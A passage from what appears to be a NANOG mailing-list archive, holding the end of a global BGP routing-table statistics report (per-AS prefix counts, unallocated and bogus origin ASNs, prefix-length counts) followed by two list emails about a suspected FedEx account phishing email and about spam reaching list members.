factor: 4.99 Prefixes being announced from the AfriNIC address blocks: 28533 Unique aggregates announced from the AfriNIC address blocks: 9201 AfriNIC Region origin ASes present in the Internet Routing Table: 1288 AfriNIC Prefixes per ASN: 22.15 AfriNIC Region origin ASes announcing only one prefix: 445 AfriNIC Region transit ASes present in the Internet Routing Table: 247 Average AfriNIC Region AS path length visible: 5.0 Max AfriNIC Region AS path length visible: 23 Number of AfriNIC region 32-bit ASNs visible in the Routing Table: 565 Number of AfriNIC addresses announced to Internet: 105079552 Equivalent to 6 /8s, 67 /16s and 99 /24s AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 45/8, 102/8, 105/8, 154/8, 196/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7545 4754 549 543 TPG-INTERNET-AP TPG Telecom Limited, AU 7552 3164 1451 31 VIETEL-AS-AP Viettel Group, VN 45899 3029 1741 112 VNPT-AS-VN VNPT Corp, VN 9808 2830 9043 62 CMNET-GD Guangdong Mobile Communication 9829 2736 1496 552 BSNL-NIB National Internet Backbone, IN 4766 2530 11119 760 KIXS-AS-KR Korea Telecom, KR 4755 2140 428 182 TATACOMM-AS TATA Communications formerl 9394 2100 4882 26 CTTNET China TieTong Telecommunications 9498 2058 427 171 BBIL-AP BHARTI Airtel Ltd., IN 23969 1765 314 16 TOT-NET TOT Public Company Limited, TH Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11492 3645 238 610 CABLEONE - CABLE ONE, INC., US 6327 3618 1324 89 SHAW - Shaw Communications Inc., CA 22773 3405 2974 155 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 16509 2811 6141 1224 AMAZON-02 - Amazon.com, Inc., US 16625 2498 1368 1877 AKAMAI-AS - Akamai Technologies, Inc., 30036 2159 347 201 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom 20115 2151 2760 526 CHARTER-20115 - Charter Communications, 18566 2100 405 108 MEGAPATH5-US - MegaPath Corporation, US 5650 2086 3074 1462 FRONTIER-FRTR - Frontier Communications Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 12479 5442 1629 141 UNI2-AS, ES 39891 3778 203 20 ALJAWWALSTC-AS, SA 8551 3216 378 45 BEZEQ-INTERNATIONAL-AS Bezeqint Interne 20940 2658 511 1918 AKAMAI-ASN1, US 12389 2243 2225 633 ROSTELECOM-AS, RU 34984 2100 346 548 TELLCOM-AS, TR 9121 1666 1692 18 TTNET, TR 13188 1601 100 47 TRIOLAN, UA 9009 1485 157 804 M247, GB 61317 1300 136 376 ASDETUK http://www.heficed.com, GB Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5798 3369 569 Uninet S.A. de C.V., MX 10620 3438 536 403 Telmex Colombia S.A., CO 11830 2711 384 35 Instituto Costarricense de Electricidad 7303 1483 1024 255 Telecom Argentina S.A., AR 28573 1395 2239 200 CLARO S.A., BR 6503 1253 441 54 Axtel, S.A.B. de C.V., MX 6147 1105 377 30 Telefonica del Peru S.A.A., PE 3816 1097 532 141 COLOMBIA TELECOMUNICACIONES S.A. ESP, C 13999 993 514 242 Mega Cable, S.A. de C.V., MX 11172 933 144 62 Alestra, S. de R.L. de C.V., MX Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 1167 393 21 LINKdotNET-AS, EG 37611 964 107 9 Afrihost, ZA 24835 888 624 21 RAYA-AS, EG 36992 859 1536 69 ETISALAT-MISR, EG 36903 827 416 126 MT-MPLS, MA 8452 669 1731 19 TE-AS TE-AS, EG 29571 512 68 11 ORANGE-COTE-IVOIRE, CI 37492 474 470 57 ORANGE-, TN 15706 421 32 6 Sudatel, SD 37342 414 32 1 MOVITEL, MZ Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5798 3369 569 Uninet S.A. de C.V., MX 12479 5442 1629 141 UNI2-AS, ES 7545 4754 549 543 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 203 20 ALJAWWALSTC-AS, SA 11492 3645 238 610 CABLEONE - CABLE ONE, INC., US 6327 3618 1324 89 SHAW - Shaw Communications Inc., CA 10620 3438 536 403 Telmex Colombia S.A., CO 22773 3405 2974 155 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 8551 3216 378 45 BEZEQ-INTERNATIONAL-AS Bezeqint Interne Complete listing at http://thyme.rand.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 12479 5442 5301 UNI2-AS, ES 7545 4754 4211 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 4039 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 3758 ALJAWWALSTC-AS, SA 6327 3618 3529 SHAW - Shaw Communications Inc., CA 22773 3405 3250 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 8551 3216 3171 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 7552 3164 3133 VIETEL-AS-AP Viettel Group, VN 11492 3645 3035 CABLEONE - CABLE ONE, INC., US 10620 3438 3035 Telmex Colombia S.A., CO Complete listing at http://thyme.rand.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 230105 UNALLOCATED 38.110.79.0/24 23015 CMC180-TOR-AS - Cambridge Merc 267804 UNALLOCATED 45.172.108.0/22 52361 ARSAT - Empresa Argentina de S 266842 UNALLOCATED 45.238.156.0/22 265680 HNTELCO S.A, HN 65550 DOCUMENT 81.8.34.0/24 15924 BORUSANTELEKOM-AS, TR 65550 DOCUMENT 81.8.35.0/24 15924 BORUSANTELEKOM-AS, TR 130974 UNALLOCATED 103.139.78.0/24 139074 TDL-AS-AP TECHNOLOGY DIRECTION 65549 DOCUMENT 117.239.163.0/24 65544 UNKNOWN 64339 UNALLOCATED 143.0.108.0/22 18747 IFX18747 - IFX Corporation, US 65551 DOCUMENT 149.165.246.0/24 19782 INDIANAGIGAPOP - Indiana Unive 64355 UNALLOCATED 156.40.196.0/24 30387 NIH-NET-NCCS - National Instit Complete listing at http://thyme.rand.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 23.135.144.0/24 14102 GTVR - Transvision Reseau Inc., CA 27.100.7.0/24 56096 UNKNOWN 27.126.156.0/22 55827 UNKNOWN 27.126.156.0/23 55827 UNKNOWN 27.126.158.0/23 55827 UNKNOWN 41.76.136.0/22 37500 -Reserved AS-, ZZ 41.76.140.0/22 37500 -Reserved AS-, ZZ 41.78.92.0/22 14988 BTC-GATE1, BW 41.78.180.0/23 37265 -Reserved AS-, ZZ 41.220.48.0/20 36900 -Reserved AS-, ZZ Complete listing at http://thyme.rand.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:12 /9:11 /10:37 /11:100 /12:294 /13:570 /14:1132 /15:1915 /16:13325 /17:8031 /18:13987 /19:25882 /20:40372 /21:47382 /22:94374 /23:76779 /24:432362 /25:919 /26:0 /27:0 /28:0 /29:0 /30:0 /31:0 /32:0 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 12479 4398 5442 UNI2-AS, ES 6327 3408 3618 SHAW - Shaw Communications Inc., CA 7155 3156 4064 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 2946 3778 ALJAWWALSTC-AS, SA 11492 2856 3645 CABLEONE - CABLE ONE, INC., US 8551 2670 3216 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 22773 2642 3405 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 11830 2055 2711 Instituto Costarricense de Electricidad y Telec 18566 1995 2100 MEGAPATH5-US - MegaPath Corporation, US 30036 1910 2159 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom Communi Complete listing at http://thyme.rand.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 1:1699 2:1029 3:6 4:21 5:3143 6:47 7:1 8:1318 9:1 12:1801 13:345 14:2024 15:34 16:5 17:265 18:66 20:52 23:2719 24:2524 25:4 27:2452 31:2001 32:100 35:36 36:861 37:3028 38:1753 39:296 40:122 41:3262 42:834 43:2025 44:152 45:8132 46:3297 47:260 49:1366 50:1114 51:330 52:1013 54:281 55:704 56:6 57:45 58:1767 59:1063 60:513 61:2196 62:2156 63:1837 64:4983 65:2204 66:4837 67:2765 68:1163 69:3544 70:1366 71:637 72:2621 74:2740 75:1288 76:560 77:1824 78:1839 79:2419 80:1808 81:1497 82:1132 83:923 84:1136 85:2261 86:543 87:1564 88:1045 89:2653 90:219 91:6579 92:1416 93:2454 94:2463 95:3293 96:948 97:345 98:959 99:761 100:86 101:1165 102:624 103:21271 104:3550 105:259 106:778 107:1766 108:695 109:3636 110:1700 111:2046 112:1511 113:1372 114:1233 115:1715 116:1755 117:1925 118:2164 119:1627 120:1047 121:1043 122:2288 123:1745 124:1479 125:2013 128:1337 129:834 130:532 131:1818 132:809 133:222 134:1098 135:244 136:579 137:755 138:2055 139:882 140:644 141:882 142:810 143:1051 144:899 145:494 146:1272 147:839 148:1687 149:961 150:797 151:1019 152:1073 153:331 154:3398 155:917 156:1679 157:1003 158:662 159:1955 160:1603 161:940 162:2970 163:829 164:1200 165:1606 166:448 167:1412 168:3312 169:878 170:4125 171:574 172:1666 173:2230 174:1046 175:967 176:2346 177:4253 178:2541 179:1420 180:2127 181:2425 182:2699 183:1084 184:2255 185:15159 186:3684 187:2499 188:3000 189:2001 190:8227 191:1534 192:10071 193:6667 194:5437 195:4143 196:3132 197:1808 198:5941 199:5997 200:7100 201:5084 202:10450 203:10215 204:4543 205:3061 206:3243 207:3265 208:3954 209:4273 210:3931 211:2016 212:3079 213:2955 214:1116 215:55 216:5926 217:2231 218:878 219:604 220:1877 221:974 222:979 223:1371 End of report From goemon at sasami.anime.net Fri May 31 19:58:42 2019 From: goemon at sasami.anime.net (Dan Hollis) Date: Fri, 31 May 2019 12:58:42 -0700 (PDT) Subject: PSA: change your fedex.com account logins In-Reply-To: References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> Message-ID: The one-off email scheme is not predictable. It is randomly generated string of characters. $ ./randgen jvtMDluV0lwnlY5O So you can totally eliminate that possibility entirely. -Dan On Fri, 31 May 2019, Jason Kuehl wrote: > Is it possible, yes. I've seen it several times now at my place of work. > Targeted attacks are a thing. > > On Fri, May 31, 2019 at 2:53 AM Mike Hale wrote: > >> Oh for fucks sake. >> >> Really? >> >> You two are questioning someone who subscribes to Nanog over Fedex? >> You really think it's more likely that someone is targeting Dan Hollis >> (whoever he is) instead of Fedex leaving something else exposed? >> >> On Thu, May 30, 2019 at 11:39 PM Scott Christopher wrote: >>> >>> Dan Hollis wrote: >>> >>> Phishing scheme didn't happen. >>> >>> fedex has had a number of major compromises so it's not a stretch that >>> their user database was stolen and sold to spammers. >>> >>> >>> The other possibility is that your one-off email scheme is predictable, >> and someone knows you use FedEx, and that someone is targeting specifically >> you, and this obvious phishing email is a red herring for the exploit you >> didn't see. >>> >>> Be concerned. >>> >>> -- S.C. >> >> >> >> -- >> 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 >> > > > -- > Sincerely, > > Jason W Kuehl > Cell 920-419-8983 > jason.w.kuehl at gmail.com > From bryan at shout.net Fri May 31 23:53:52 2019 From: bryan at shout.net (Bryan Holloway) Date: Fri, 31 May 2019 18:53:52 -0500 Subject: Spamming of NANOG list members In-Reply-To: <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> Message-ID: Anybody else noticed a significant uptick in these e-mails? When I first saw this thread, I hadn't seen any. A couple days later, I got my first one. (yay!) Now I'm getting 2-3 a day. (yay?)